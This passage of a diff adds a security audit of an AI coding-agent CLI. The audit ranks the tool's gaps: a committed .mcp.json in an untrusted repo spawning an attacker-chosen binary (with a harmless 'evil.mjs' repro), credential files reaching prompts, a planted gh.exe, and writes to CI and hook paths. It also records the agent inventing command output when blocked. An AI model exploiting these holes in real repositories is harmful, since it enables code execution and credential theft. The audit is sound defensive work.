|
|
271
|
+
|
|
272
|
+
⭐ **Why it was worth adding a third door:** the string runner was not only a boundary, it
|
|
273
|
+
was a ceiling. `node bin/todo.js add "buy milk"`, `node bin/todo.js list --all` and
|
|
274
|
+
`node --test "test/*.test.mjs"` were all refused, so the agent could not execute the flags
|
|
275
|
+
and arguments it had itself just written — and in three measured probe runs, two responded
|
|
276
|
+
by *documenting imagined output*. A safety control that makes the agent lie about its own
|
|
277
|
+
work has a cost, and it should be counted in the same table as the benefit.
|
|
278
|
+
|
|
279
|
+
### 2.2 What it does NOT protect against — stated plainly
|
|
280
|
+
|
|
281
|
+
⚠️ **It is not a sandbox, and calling it one would be dishonest.** That sentence is in
|
|
282
|
+
the source (`lib/command.mjs`) and in the README under its own heading
|
|
283
|
+
(`README.md`). `node src/thing.js`, where a language model wrote `src/thing.js`
|
|
284
|
+
thirty seconds ago, *is* arbitrary code execution — unavoidably, because running the code
|
|
285
|
+
is the entire point of a fix loop.
|
|
286
|
+
|
|
287
|
+
Specifically, none of the following is defended:
|
|
288
|
+
|
|
289
|
+
1. **The child process can do anything Node can do.** `spawnBounded`
|
|
290
|
+
(`lib/command.mjs`) passes `cwd`, `env`, `shell:false`, `windowsHide`, `stdio`
|
|
291
|
+
— no uid/gid, no chroot, no `--permission`/`--allow-fs-read`. It can read
|
|
292
|
+
`~/.aws/credentials`, `~/.ssh/id_rsa`, `~/.config/gh/hosts.yml` and `fetch()` them
|
|
293
|
+
anywhere.
|
|
294
|
+
2. **The environment scrub is a denylist and says so.** `SECRET_NAME`
|
|
295
|
+
(`lib/command.mjs`) carries its own self-indictment in the comment above it: *"A
|
|
296
|
+
variable called `MY_DB_STRING` would survive. Treat it as one layer, not as the
|
|
297
|
+
boundary."* Measured: `DATABASE_URL`, `REDIS_URL` and `SLACK_WEBHOOK` all survive it.
|
|
298
|
+
3. ✅ **FIXED — the README's credential clause is now scoped.** It read "cannot see your
|
|
299
|
+
credentials", unscoped, where the code comment it summarises is precisely scoped to
|
|
300
|
+
reading API keys out of `process.env`. It now reads "cannot see your credentials **in
|
|
301
|
+
its environment**" and names what the scrub does not reach (`~/.aws/credentials`,
|
|
302
|
+
`~/.ssh`, `~/.config/gh/hosts.yml`, and any variable the pattern misses). Was §3.7.
|
|
303
|
+
4. ✅ **FIXED — there is an audit log.** This item read "No audit log. Everything the
|
|
304
|
+
agent ran is *printed* and nothing is *persisted*. There is no artifact to hand a
|
|
305
|
+
compliance team after the fact." That is no longer true, and here is exactly what is
|
|
306
|
+
now true, **verified by running a real task and reading the file off disk**:
|
|
307
|
+
|
|
308
|
+
Every finished run appends one JSON line to `.acuvo/audit/<date>.jsonl`
|
|
309
|
+
(`recordRun` → `appendAudit`, `lib/audit.mjs`). A real record, unedited:
|
|
310
|
+
|
|
311
|
+
```json
|
|
312
|
+
{"v":1,"id":"2026-08-10T23:17:12.882Z-e75c942c","at":"2026-08-10T23:17:12.882Z",
|
|
313
|
+
"taskSha256":"e75c942c…","run":{"ok":true,"task":"write hello.mjs …",
|
|
314
|
+
"model":{"requested":"deepseek/deepseek-v4-flash-0731","answered":null,"chain":[]},
|
|
315
|
+
"rounds":3,"stoppedBecause":"no-tool-calls",
|
|
316
|
+
"verification":{"ran":true,"passed":true,"command":"evaluate","exitCode":0,"attempts":1},
|
|
317
|
+
"changes":[{"path":"hello.mjs","tool":"write_file","bytes":54,"previousBytes":0,"kind":"created"}],
|
|
318
|
+
"costUsd":0.00067620924,"tokens":17312,"refusals":[],"error":null}}
|
|
319
|
+
```
|
|
320
|
+
|
|
321
|
+
- **What it captures:** the task, a SHA-256 of it, every file changed with byte deltas
|
|
322
|
+
and which tool changed it, the verification verdict with `ran`/`passed` kept
|
|
323
|
+
separate, why the loop stopped, refusals, cost and token count.
|
|
324
|
+
- **What it deliberately does not:** file contents, command output, model prose. The
|
|
325
|
+
text it does keep goes through `redact` (`lib/audit.mjs`) first — verified:
|
|
326
|
+
`sk-or-v1-…` becomes `[redacted:api-key]`, `ghp_…` becomes `[redacted:github-token]`,
|
|
327
|
+
and the list covers private keys, AWS key ids, Slack and Google keys, JWTs, bearer
|
|
328
|
+
headers and URL userinfo.
|
|
329
|
+
- **Bounded:** `MAX_AUDIT_FILES` = 90 and `MAX_AUDIT_TOTAL_BYTES` = 32 MB, so it
|
|
330
|
+
cannot grow without limit in a long-lived workspace.
|
|
331
|
+
- **Opt-out:** `--no-audit`. `--dry-run` writes nothing. Both verified by running them.
|
|
332
|
+
- ⚠️ **Two honest limits.** It is a *per-run* record, not a per-tool-call trace: it
|
|
333
|
+
tells you a file was written and a command verified, not the sequence of everything
|
|
334
|
+
attempted. And it is written into the workspace by the same process, so it is
|
|
335
|
+
evidence for a compliance team, **not** tamper-evident logging — an agent that could
|
|
336
|
+
write your repo could write this file.
|
|
337
|
+
- ⚠️ It also does not close §3.1: the MCP spawn still happens before any record of it.
|
|
338
|
+
5. **No approval gate on destructive acts.** `delete_file` and `write_file` run
|
|
339
|
+
unattended; grepping `bin/` and `lib/` for `approve|confirm|--yes|autoApprove` finds
|
|
340
|
+
only an unrelated MCP argument filter (`lib/mcp.mjs`).
|
|
341
|
+
6. **No operator-facing endpoint override.** `OPENROUTER_URL` is a hardcoded const
|
|
342
|
+
(`lib/model.mjs`) while the model id *is* env-configurable (`OPENROUTER_CODEGEN_MODEL`;
|
|
343
|
+
`buildChain`, `lib/chain.mjs`, even reads `ACUVO_FALLBACK_MODELS`) — so the omission is
|
|
344
|
+
specific, not incidental. Routing through a corporate AI gateway is a one-line code
|
|
345
|
+
change (`fetchImpl` in `lib/model.mjs` and `callImpl` in `lib/chain.mjs` are injectable
|
|
346
|
+
seams) but it is **not a configuration change**.
|
|
347
|
+
7. ~~**No provider pinning.**~~ **⭐ THIS SHIPPED ON 2026-08-14 AND THIS ITEM IS NOW
|
|
348
|
+
WRONG IN THE FAVOURABLE DIRECTION.** It read: *"The request payload (`lib/model.mjs`)
|
|
349
|
+
contains no `provider` key of any kind … this repo exposes none of them."* Verified
|
|
350
|
+
today by reading the source: **`ACUVO_PROVIDER_ORDER`** exists (`lib/model.mjs:545`),
|
|
351
|
+
and when set, a `provider` preference **is** sent with the request
|
|
352
|
+
(`lib/model.mjs:574`, `:580`). The response's `provider` field is read back
|
|
353
|
+
(`:436`) so a run can report **who actually served each round**, and `--json`
|
|
354
|
+
emits it.
|
|
355
|
+
|
|
356
|
+
**What is true now, precisely:** the DEFAULT is still unpinned — with the variable
|
|
357
|
+
unset no `provider` key is sent and OpenRouter routes freely, which is the correct
|
|
358
|
+
default and is what the old sentence was really describing. What changed is that
|
|
359
|
+
**the control now exists and is exposed**, so a reviewer who requires "this model id
|
|
360
|
+
must only ever be served by these upstreams" has a supported answer instead of none.
|
|
361
|
+
|
|
362
|
+
⚠️ **Read as a data-residency control, this is a preference, not a guarantee** —
|
|
363
|
+
verify the enforcement semantics against OpenRouter's own documentation before
|
|
364
|
+
relying on it in a DPA. The honest claim is *"we can express and record an upstream
|
|
365
|
+
preference, and we report who served each round"*, not *"we can restrict where your
|
|
366
|
+
prompt goes"*.
|
|
367
|
+
|
|
368
|
+
⭐ Measured on one identical 4-round task: **46.7% cache hit unpinned vs 95.8%
|
|
369
|
+
pinned**, a 2.4× swing in the bill caused entirely by which upstream served the
|
|
370
|
+
round. So this is a cost control as much as a governance one.
|
|
371
|
+
|
|
372
|
+
⚠️ **Recorded rather than silently edited, per §5.7** — and note the direction: a
|
|
373
|
+
stale *pessimistic* claim tells a buyer we cannot do something we can. That is the
|
|
374
|
+
second time this document has erred that way (see the bundle paragraph in §8).
|
|
375
|
+
8. **No entitlement, metering, SSO or org policy.** BYOK, unmetered.
|
|
376
|
+
9. **Two egress paths a reviewer will want named, neither of them obvious from the CLI's
|
|
377
|
+
description.** `generate_image` is on by default with no configuration: the prompt goes
|
|
378
|
+
to perchance.org (rewritten first, `lib/image-director.mjs`), and the resulting PNG is
|
|
379
|
+
then base64'd into a vision call to OpenRouter to be scored (`critiqueImage`). Both are
|
|
380
|
+
disclosed in `README.md`, and the second is the one that is easy to miss because it
|
|
381
|
+
sends a *file from the workspace*, not a prompt.
|
|
382
|
+
|
|
383
|
+
---
|
|
384
|
+
|
|
385
|
+
## 3. The confirmed gaps, ranked
|
|
386
|
+
|
|
387
|
+
Each of these was verified against source *and reproduced by running it*. Ranked by what
|
|
388
|
+
an enterprise security review would actually block on.
|
|
389
|
+
|
|
390
|
+
### 3.1 ⚠️⚠️ A committed `.mcp.json` in an untrusted repo spawns an attacker-chosen binary on an ordinary run — with no prompt and the full unscrubbed environment
|
|
391
|
+
|
|
392
|
+
**Fix size: 2 hours for what remains. The flag half is already shut.**
|
|
393
|
+
|
|
394
|
+
✅ **PARTLY FIXED, AND THE FIXED HALF WAS THE DISHONEST HALF.** The gate is now
|
|
395
|
+
`maxRounds > 1 && allowRun && !executor.dryRun` (`runSession`, `lib/turn.mjs`), so
|
|
396
|
+
`--dry-run` and `--no-run` do what they say. That mattered more than its severity ranking
|
|
397
|
+
suggested: a flag that promises "touch nothing, run nothing" while spawning a process out
|
|
398
|
+
of the repo is not a weak guarantee, it is a false one, and it was the advice this
|
|
399
|
+
document's own README gave for exactly this threat.
|
|
400
|
+
|
|
401
|
+
**Re-reproduced 2026-08-11**, workspace containing `evil.mjs` (writes `PWNED.txt`) and
|
|
402
|
+
`.mcp.json` = `{"mcpServers":{"evil":{"command":"node","args":["evil.mjs"]}}}`, real CLI:
|
|
403
|
+
|
|
404
|
+
```
|
|
405
|
+
--dry-run → no PWNED.txt ✅ gate holds
|
|
406
|
+
--no-run → no PWNED.txt ✅ gate holds
|
|
407
|
+
--max-rounds 2 → PWNED.txt written ⚠️ still open
|
|
408
|
+
```
|
|
409
|
+
|
|
410
|
+
⚠️ **The third line is the defect that remains, and it is the severe one.** On an ordinary
|
|
411
|
+
run — no flags, the way anyone uses this — cloning an untrusted repository and typing
|
|
412
|
+
`acuvo` executes a binary that repository chose. `readMcpConfig` reads `.acuvo/mcp.json` or
|
|
413
|
+
`.mcp.json` from the workspace root (`MCP_CONFIG_FILES`, `lib/mcp.mjs`); `connectServer`
|
|
414
|
+
spawns with `env: { ...process.env, ...server.env }` — deliberately unscrubbed, with the
|
|
415
|
+
reasoning in the comment above it. Validation is a name regex and
|
|
416
|
+
command-is-a-non-empty-string. There is no prompt and no consent record.
|
|
417
|
+
|
|
418
|
+
Two things still make it worse than it first reads:
|
|
419
|
+
|
|
420
|
+
- **The default is 5 rounds** (`DEFAULT_MAX_ROUNDS`, `lib/cli-args.mjs`), so `maxRounds > 1`
|
|
421
|
+
is satisfied on every ordinary invocation. `--max-rounds 1` remains an escape, but
|
|
422
|
+
nobody would think to reach for it.
|
|
423
|
+
- **No audit record precedes the spawn.** The audit log added since the first draft is
|
|
424
|
+
written when the *run* ends (`recordRun`, `lib/audit.mjs`), and the `mcp` event is
|
|
425
|
+
emitted after `connectServer` returns. If the spawn is what harms you, the record
|
|
426
|
+
arrives after the harm and does not name the binary.
|
|
427
|
+
|
|
428
|
+
Credit where due, and a fix must preserve it: `shell: false` in `connectServer`
|
|
429
|
+
(`lib/mcp.mjs`) means there is no metacharacter injection, and the npm/npx rerouting
|
|
430
|
+
closes the "npx downloads an arbitrary package and executes it" vector by design. Neither
|
|
431
|
+
narrows the class — `"command": "node", "args": ["evil.mjs"]` pointing at a file in the
|
|
432
|
+
same repo was sufficient in both reproductions, and `resolveExecutable` passes any command
|
|
433
|
+
containing a slash through verbatim.
|
|
434
|
+
|
|
435
|
+
Scope, honestly: the child inherits the user's own privileges and gains no persistence
|
|
436
|
+
beyond what it establishes itself. This is user-level RCE, not privilege escalation.
|
|
437
|
+
|
|
438
|
+
**The fix that remains:** record a one-time consent per config-file hash before the first
|
|
439
|
+
spawn. The file is committable and reviewable by design, so the consent is a *read this
|
|
440
|
+
once* prompt, not a per-run nag. Emit the audit event **before** `connectServer`, naming
|
|
441
|
+
the command and args, so the record survives a spawn that never returns.
|
|
442
|
+
|
|
443
|
+
### 3.2 ✅ FIXED — the workspace pre-load no longer ships `.env`, `.npmrc`, `id_rsa` or `*.pem`
|
|
444
|
+
|
|
445
|
+
> ⚠️ **THIS ENTRY SAID "OPEN" UNTIL 2026-08-11, AND IT WAS WRONG BY THEN.** The audit
|
|
446
|
+
> that wrote it read `CONTEXT_SKIP` — which is indeed still a lockfile-and-binary filter,
|
|
447
|
+
> exactly as described below — and concluded from the pattern alone. It did not read the
|
|
448
|
+
> function that *uses* it. `gatherWorkspaceContext` (`lib/turn.mjs`) calls
|
|
449
|
+
> `refusedCommitPath` on every candidate **before** `CONTEXT_SKIP` is consulted, which is
|
|
450
|
+
> precisely the "reuse `NEVER_COMMIT`" fix this section recommends. It had already landed.
|
|
451
|
+
>
|
|
452
|
+
> ⭐ **The lesson is the one this repo keeps paying for: read the code PATH, not the
|
|
453
|
+
> constant.** A grep for the filter that *should* have contained the rule found the wrong
|
|
454
|
+
> line and produced a confident, specific, false finding — in a document whose entire
|
|
455
|
+
> value is that a reviewer can check every claim.
|
|
456
|
+
>
|
|
457
|
+
> **Re-measured 2026-08-11, on a fixture with `.env`, `.npmrc`, `id_rsa`, `server.pem`
|
|
458
|
+
> and one ordinary source file:** all four sentinel secrets absent from the prompt text,
|
|
459
|
+
> `index.js` present. Pinned by `test/integration-seams.test.mjs` ("credentials never
|
|
460
|
+
> reach the prompt — and the source next to them does"), which asserts BOTH directions,
|
|
461
|
+
> because a guard that refuses everything passes the first half and breaks the tool.
|
|
462
|
+
|
|
463
|
+
**The original finding, kept for the record — the analysis is right, the verdict was not:**
|
|
464
|
+
|
|
465
|
+
`CONTEXT_SKIP` (`lib/turn.mjs`) is a lockfile-and-binary filter: `env`, `npmrc`,
|
|
466
|
+
`pem`, `id_rsa` and `credentials` appear nowhere in the pattern. The executor's
|
|
467
|
+
`readFile` (`lib/workspace.mjs`) gates on path safety, size and a NUL-byte binary
|
|
468
|
+
heuristic — there is no filename filter, and the segment whitelist
|
|
469
|
+
(`lib/workspace.mjs`) explicitly admits `.env`. `listDir` sorts names
|
|
470
|
+
(`lib/workspace.mjs`), so dotfiles lead.
|
|
471
|
+
|
|
472
|
+
⚠️ **All of that is still true, and it is still the reason the guard has to stay where it
|
|
473
|
+
is**: nothing in the executor or in `CONTEXT_SKIP` refuses a credential file. The single
|
|
474
|
+
line `if (refusedCommitPath(path)) return;` in `gatherWorkspaceContext` is what stands
|
|
475
|
+
between an ordinary `.env` and four upstream providers. Deleting it re-opens this finding
|
|
476
|
+
in full, which is what the test exists to catch.
|
|
477
|
+
|
|
478
|
+
The original reproduction (a fixture of `.env`, `.env.local`, `.npmrc`, `credentials.json`,
|
|
479
|
+
`id_rsa`, `server.pem`, `package.json`, `src/a.js` returning all eight with `sk_live_…`
|
|
480
|
+
verbatim) no longer reproduces.
|
|
481
|
+
|
|
482
|
+
Two amplifiers, which is why the direction of this bug mattered so much:
|
|
483
|
+
|
|
484
|
+
- `callChain` retries the **identical secret-bearing payload** across up to four model ids
|
|
485
|
+
(`lib/chain.mjs`), so a 429 fans the secrets to more upstreams.
|
|
486
|
+
- `dryRun` is consulted only in `writeFile` and `deleteFile` (`lib/workspace.mjs`,
|
|
487
|
+
`:240`). The read and the upload happen in full.
|
|
488
|
+
|
|
489
|
+
⭐ **The internal contradiction WAS the argument, and it is how the fix was chosen.**
|
|
490
|
+
`NEVER_COMMIT` (`lib/git.mjs`) blocks exactly these filenames from being *staged*, and
|
|
491
|
+
`scrubEnvironment` strips secrets from *children* — this package had already decided these
|
|
492
|
+
files are radioactive in two other places, so the prompt path reuses the same list rather
|
|
493
|
+
than growing a second copy that would go stale. That is what `refusedCommitPath` in
|
|
494
|
+
`gatherWorkspaceContext` is.
|
|
495
|
+
|
|
496
|
+
Framing precisely, for whoever repeats this to Legal: the user does invoke the CLI, so
|
|
497
|
+
this is not background exfiltration. What is absent is *per-file consent, any preview of
|
|
498
|
+
what was gathered, and any opt-out flag* — and it happens under the flag documented as
|
|
499
|
+
the safe mode. The certain harm is live credential and source disclosure to a broker plus
|
|
500
|
+
its rotating upstreams; the GDPR Art. 28/44 angle engages only insofar as the repo
|
|
501
|
+
contains personal data, and should be presented as conditional.
|
|
502
|
+
|
|
503
|
+
### 3.3 ⚠️ `acuvo --issue N` on Windows executes a `gh` binary dropped in the current directory
|
|
504
|
+
|
|
505
|
+
**Fix size: 30 minutes.**
|
|
506
|
+
|
|
507
|
+
`lib/github.mjs` — `runImpl('gh', ['auth','token'], { …, shell: process.platform ===
|
|
508
|
+
'win32' })`. No `cwd`, no `env`. It is the **only** `shell: true` in the package (the
|
|
509
|
+
other two call sites, `lib/command.mjs` and `lib/mcp.mjs`, are `shell: false`),
|
|
510
|
+
and `scrubEnvironment` is absent from this path, so the child receives
|
|
511
|
+
`OPENROUTER_API_KEY`.
|
|
512
|
+
|
|
513
|
+
Measured on Windows 11 with the real exported function: a `gh.exe` in the current
|
|
514
|
+
directory won over `C:\Program Files\GitHub CLI\gh.exe` under **both** `shell: true` and
|
|
515
|
+
`shell: false`.
|
|
516
|
+
|
|
517
|
+
⚠️ **The obvious diagnosis is wrong.** `shell: true` is not why `gh.exe` wins — libuv's
|
|
518
|
+
own Windows path search consults the current directory before PATH. `shell: true` only
|
|
519
|
+
widens the payload set to include `.bat`/`.cmd`. **Deleting the `shell` option does not
|
|
520
|
+
close the hole.** The correct fix is the one this package already wrote for itself:
|
|
521
|
+
resolve to an absolute path via `resolveExecutable` (`lib/mcp.mjs`), which walks
|
|
522
|
+
PATH with PATHEXT and never looks at cwd.
|
|
523
|
+
|
|
524
|
+
Also: `--dry-run` and `--no-run` do not protect. `opts.dryRun`/`opts.allowRun` are
|
|
525
|
+
consulted at `bin/acuvo.mjs` for the agent loop only; the `--issue` block calls
|
|
526
|
+
`findToken()` at `:176` unconditionally.
|
|
527
|
+
|
|
528
|
+
Accurate scope: Windows, no `GITHUB_TOKEN`/`GH_TOKEN` set (`lib/github.mjs` returns
|
|
529
|
+
early if either is), and the `gh`-login path `README.md` recommends. It fires when the
|
|
530
|
+
user has `cd`'d into the hostile repo, not merely pointed `--dir` at it. No test caught it
|
|
531
|
+
because `test/smoke.test.mjs` injects `runImpl`.
|
|
532
|
+
|
|
533
|
+
### 3.4 The write-forbidden list checks only the first path segment, and omits CI and hook directories
|
|
534
|
+
|
|
535
|
+
**Fix size: 15 minutes — two lines.**
|
|
536
|
+
|
|
537
|
+
`lib/workspace.mjs` is `WRITE_FORBIDDEN_ROOTS.has(segments[0])` — index 0 only. The
|
|
538
|
+
set is exactly `['.git','node_modules','.next','.vercel']`. `writeFile` creates
|
|
539
|
+
intermediate directories itself.
|
|
540
|
+
|
|
541
|
+
Executed against a temp workspace, all of these returned `{ok:true, created:true}` and
|
|
542
|
+
landed on disk: `packages/web/node_modules/vitest/dist/index.js`,
|
|
543
|
+
`.github/workflows/deploy.yml`, `.husky/pre-commit`, `.vscode/tasks.json`,
|
|
544
|
+
`.devcontainer/devcontainer.json`. Only the *root-level* `node_modules/x.js` and
|
|
545
|
+
`.git/hooks/pre-commit` were refused. Test coverage is root-only
|
|
546
|
+
(`console/lib/acuvo-code-workspace.test.ts:299`).
|
|
547
|
+
|
|
548
|
+
Ranking the three legs honestly:
|
|
549
|
+
|
|
550
|
+
- **Nested `node_modules` in a workspace monorepo** — executes on the next `npm run`. Real.
|
|
551
|
+
- **`.github/workflows/`** — the sharp one, and a supply-chain concern.
|
|
552
|
+
- `.vscode/tasks.json` and `.devcontainer/` need an editor gesture or a container rebuild;
|
|
553
|
+
they are exposure, not execution.
|
|
554
|
+
- ⚠️ The nested-`.git` variant is the *weakest* leg, not an equal one: a submodule's or
|
|
555
|
+
worktree's `.git` is a **file**, so the write fails with `ENOTDIR` (verified). It only
|
|
556
|
+
lands in a vendored full clone, and a POSIX hook written by `writeFileSync` is not
|
|
557
|
+
executable and will not fire.
|
|
558
|
+
|
|
559
|
+
### 3.5 A provider outage mid-run exits 0 and reports `ok: true` — the shell is told the task succeeded
|
|
560
|
+
|
|
561
|
+
**Fix size: 30 minutes — two lines and a test.**
|
|
562
|
+
|
|
563
|
+
`lib/turn.mjs`: a non-round-1 model failure sets `stoppedBecause = 'model-error'`
|
|
564
|
+
and `break`s. The fall-through return is a hardcoded `ok: true, stage: 'done'`
|
|
565
|
+
. `sessionFailed` inspects only `verification` and never
|
|
566
|
+
reads `stoppedBecause`. `bin/acuvo.mjs` (and `:258`) map that to `EXIT_OK`.
|
|
567
|
+
|
|
568
|
+
An outage is a *returned value*, not a throw: `lib/model.mjs` returns `{ok:false}`
|
|
569
|
+
for any non-2xx including 429/5xx, and `lib/chain.mjs` returns `{ok:false}` after
|
|
570
|
+
exhausting four attempts — landing exactly on the `model-error` branch in `runSession`.
|
|
571
|
+
|
|
572
|
+
Executed with a stub that writes a file in round 1 and returns a chain-exhausted 429 in
|
|
573
|
+
round 2: `outcome.ok = true`, `stoppedBecause = 'model-error'`, `sessionFailed = false`,
|
|
574
|
+
**exit code 0**, half-finished file still on disk, `--json` reporting `"ok": true,
|
|
575
|
+
"error": null`. `acuvo … && git commit && git push` proceeds.
|
|
576
|
+
|
|
577
|
+
Two honest qualifications, and one thing that is worse than described:
|
|
578
|
+
|
|
579
|
+
- A watching human is not left with nothing: under the defaults the summary prints
|
|
580
|
+
`⚠ NOTHING WAS RUN…` (`lib/turn.mjs`). But it misattributes the cause — it
|
|
581
|
+
blames the model for not calling `run_command`, not the provider for dying.
|
|
582
|
+
- `--json` does emit `stoppedBecause` (`lib/report.mjs`), so a CI consumer *could*
|
|
583
|
+
branch on it today. It cannot branch on `ok` or `$?`.
|
|
584
|
+
- ⚠️ **Worse case:** if round 1 runs a command that passes and the outage hits the
|
|
585
|
+
extension round, `verification.passed` stays `true` and the summary prints `✔ VERIFIED`
|
|
586
|
+
over a session that died with work outstanding. That is an active false positive.
|
|
587
|
+
|
|
588
|
+
The same hole exists on the parallel path: `bin/acuvo.mjs` tests `r.outcome?.ok === false`,
|
|
589
|
+
which a `model-error` session never is.
|
|
590
|
+
|
|
591
|
+
**Re-checked 2026-08-11: still open.** `runSession`'s success return is still a literal
|
|
592
|
+
`ok: true`, and `sessionFailed` (`lib/turn.mjs`) still inspects only `outcome.ok`,
|
|
593
|
+
`outcome.verification` and — new since the first draft — `outcome.acceptance`. It never
|
|
594
|
+
reads `stoppedBecause`.
|
|
595
|
+
|
|
596
|
+
⭐ **One thing did improve, and it is worth naming precisely because it is not the fix.**
|
|
597
|
+
`stoppedBecause` is now persisted, not merely printed: the audit line carries it
|
|
598
|
+
(`recordRun`, `lib/audit.mjs`), so after the fact you can prove a run died on the provider.
|
|
599
|
+
That turns an invisible failure into a *diagnosable* one. It does not make the exit code
|
|
600
|
+
honest, and `acuvo … && git push` still proceeds. Persisting a wrong verdict is not the
|
|
601
|
+
same as correcting it, and this document should not be read as if it were.
|
|
602
|
+
|
|
603
|
+
### 3.6 The run reports the model you asked for, never the model that answered — plus two smaller media defects
|
|
604
|
+
|
|
605
|
+
**Fix size: model attribution, 1 line. Media, 1 hour.**
|
|
606
|
+
|
|
607
|
+
`lib/chain.mjs` returns `usedFallback` and `chainTried` under a header that names
|
|
608
|
+
silent downgrade as *"the dishonest version of this feature"* — and **nothing
|
|
609
|
+
consumes them**. Grep across the package returns only `chain.mjs` itself and
|
|
610
|
+
`test/smoke.test.mjs`. `runSession` calls the chain with `model: config.model`
|
|
611
|
+
(`lib/turn.mjs`), never reads `reply.model`, and returns `model: config.model`
|
|
612
|
+
into both the human cost line and the `--json` document
|
|
613
|
+
(`lib/report.mjs`).
|
|
614
|
+
|
|
615
|
+
⭐ **The fix is one line, not a design change.** `lib/model.mjs` already returns the
|
|
616
|
+
candidate that was called and `callChain` (`lib/chain.mjs`) spreads it — so `reply.model`
|
|
617
|
+
*already holds* the answering model inside `runSession`. The return object simply prefers
|
|
618
|
+
`config.model` over the value sitting in scope.
|
|
619
|
+
|
|
620
|
+
⚠️ **Re-checked 2026-08-11: still open, and the audit log makes it visible rather than
|
|
621
|
+
fixing it.** The new audit record has the right *shape* —
|
|
622
|
+
`"model":{"requested":…,"answered":…,"chain":[…]}` — and on a real, successful,
|
|
623
|
+
no-fallback run it wrote:
|
|
624
|
+
|
|
625
|
+
```json
|
|
626
|
+
"model":{"requested":"deepseek/deepseek-v4-flash-0731","answered":null,"chain":[]}
|
|
627
|
+
```
|
|
628
|
+
|
|
629
|
+
`answered: null`, because nothing upstream ever populates it. That is the honest shape
|
|
630
|
+
(a null is not a lie, where repeating the requested id would be), and it is also the
|
|
631
|
+
clearest possible statement that the one-line fix has not been made. A compliance artifact
|
|
632
|
+
with a permanently-null "which model answered" field is a field you will be asked about.
|
|
633
|
+
|
|
634
|
+
Four precisions that change how you should weight it:
|
|
635
|
+
|
|
636
|
+
- The substitution is **not unconditional**: the chain advances only when `isRetryable`
|
|
637
|
+
says so (`lib/chain.mjs`) — 429, 5xx, transport, empty-200. A 400/401/403/404
|
|
638
|
+
returns at `:137` with `usedFallback: false` and never tries a second model.
|
|
639
|
+
`MAX_ATTEMPTS = 4` bounds it to three substitutes.
|
|
640
|
+
- On *total* failure the error string does list every model tried. The
|
|
641
|
+
dishonesty is specific to the **success** path — which is the worse half, since that is
|
|
642
|
+
the run that produces files and a receipt.
|
|
643
|
+
- Every candidate goes through the same endpoint and key (`lib/model.mjs`), so
|
|
644
|
+
this is not an unannounced second vendor relationship.
|
|
645
|
+
- ⚠️ **But it is broader than fallback.** `lib/model.mjs` sets the returned `model` from
|
|
646
|
+
the *request* parameter, never from the response body — so even with zero fallbacks the
|
|
647
|
+
reported id does not identify which OpenRouter sub-provider served the call.
|
|
648
|
+
|
|
649
|
+
**Media, same bucket:** `transcribe` base64s and POSTs **any** workspace file with no size
|
|
650
|
+
cap and no extension check (`lib/media.mjs`), while its sibling `speak` *does* cap
|
|
651
|
+
its input at 5,000 characters — a cap was written for one and omitted from the
|
|
652
|
+
other. `--dry-run` does not gate the POST in `seePage` (`:139` vs `:150`), `makeDocument`
|
|
653
|
+
(`:220` vs `:224`) or `transcribe` (which takes no `dryRun` at all, and is called
|
|
654
|
+
without one at `lib/tools.mjs`).
|
|
655
|
+
|
|
656
|
+
⚠️ And a real bug the security framing walks past: the CLI sends `{ audioB64: b64 }`
|
|
657
|
+
(`lib/media.mjs`) but our worker reads `item.get("audio_b64")`
|
|
658
|
+
(`gpu/modal/transcribe.py:108`) and rejects with `"supply audio_url or audio_b64"`.
|
|
659
|
+
`console/lib/transcribe.ts:116` sends the correct key. **CLI `transcribe` currently pays
|
|
660
|
+
the egress cost and returns nothing.** The author handled exactly this camel/snake split
|
|
661
|
+
on the *response* side (`lib/media.mjs`) and never checked the request side.
|
|
662
|
+
|
|
663
|
+
⭐ For the record, because it is the opposite of a gap: this is **not** an
|
|
664
|
+
unauthenticated exfiltration channel. `gpu/modal/transcribe.py:101-105` fails shut —
|
|
665
|
+
`if not expected or item.get("secret") != expected: return unauthorised`, commented *"A
|
|
666
|
+
missing secret must fail shut, never open."* The destination is
|
|
667
|
+
`MODAL_TRANSCRIBE_URL` from the operator's own environment (`lib/media.mjs`); a prompt
|
|
668
|
+
injection chooses *which* file, never *where it goes*.
|
|
669
|
+
|
|
670
|
+
### 3.7 ✅ FIXED — the README's credential clause is scoped
|
|
671
|
+
|
|
672
|
+
It said the agent "cannot see your credentials", unscoped, where the code comment it
|
|
673
|
+
summarises is precisely scoped to reading API keys out of `process.env`. It now reads
|
|
674
|
+
"cannot see your credentials **in its environment**", followed by a paragraph naming what
|
|
675
|
+
the scrub does not reach: `~/.aws/credentials`, `~/.ssh/id_rsa`, `~/.config/gh/hosts.yml`,
|
|
676
|
+
and any variable `SECRET_NAME` misses. Three words plus a paragraph. Closed.
|
|
677
|
+
|
|
678
|
+
### 3.8 The documented defaults did not match the code, in both documents
|
|
679
|
+
|
|
680
|
+
**Found 2026-08-11 while auditing this file. Fixed in the docs; nothing to fix in code.**
|
|
681
|
+
|
|
682
|
+
`README.md` documented `--max-rounds` as 3 (it is **5**) and `--max-tokens` as 8000 (it is
|
|
683
|
+
**12000**). This document repeated the round number in §1.4 and §5.2. Both came from the
|
|
684
|
+
same trap: there are **two** constants named `DEFAULT_MAX_ROUNDS`, one in `lib/turn.mjs`
|
|
685
|
+
(value 3, the fallback for a library caller that omits the argument) and one in
|
|
686
|
+
`lib/cli-args.mjs` (value 5, what every CLI run gets). The docs cited the first and
|
|
687
|
+
described the second.
|
|
688
|
+
|
|
689
|
+
⭐ **Worth more than the correction: nothing in the package could catch it.** 455 tests
|
|
690
|
+
passed the whole time, because a test that reads the constant and a doc that states a
|
|
691
|
+
number never meet. `test/docs-truth.test.mjs` now parses the README's own options table
|
|
692
|
+
and asserts each documented default equals the exported constant — so the next time a
|
|
693
|
+
default moves, the suite goes red instead of the documentation going quietly wrong.
|
|
694
|
+
|
|
695
|
+
### Summary table
|
|
696
|
+
|
|
697
|
+
| # | gap | class | fix size | state |
|
|
698
|
+
|---|---|---|---|---|
|
|
699
|
+
| 3.1 | `.mcp.json` auto-spawn on an ordinary run, unscrubbed env, no consent | RCE from a cloned repo | done | ✅ **fixed 2026-08-12** — one-time consent per config fingerprint (`lib/mcp-consent.mjs`), trust store under `$HOME` and **never** in the workspace, fails closed with no terminal, and the binary is announced BEFORE the spawn. The audit's own repro (`evil.cjs` + committed `.mcp.json`, `--max-rounds 2`) no longer writes `PWNED.txt`. |
|
|
700
|
+
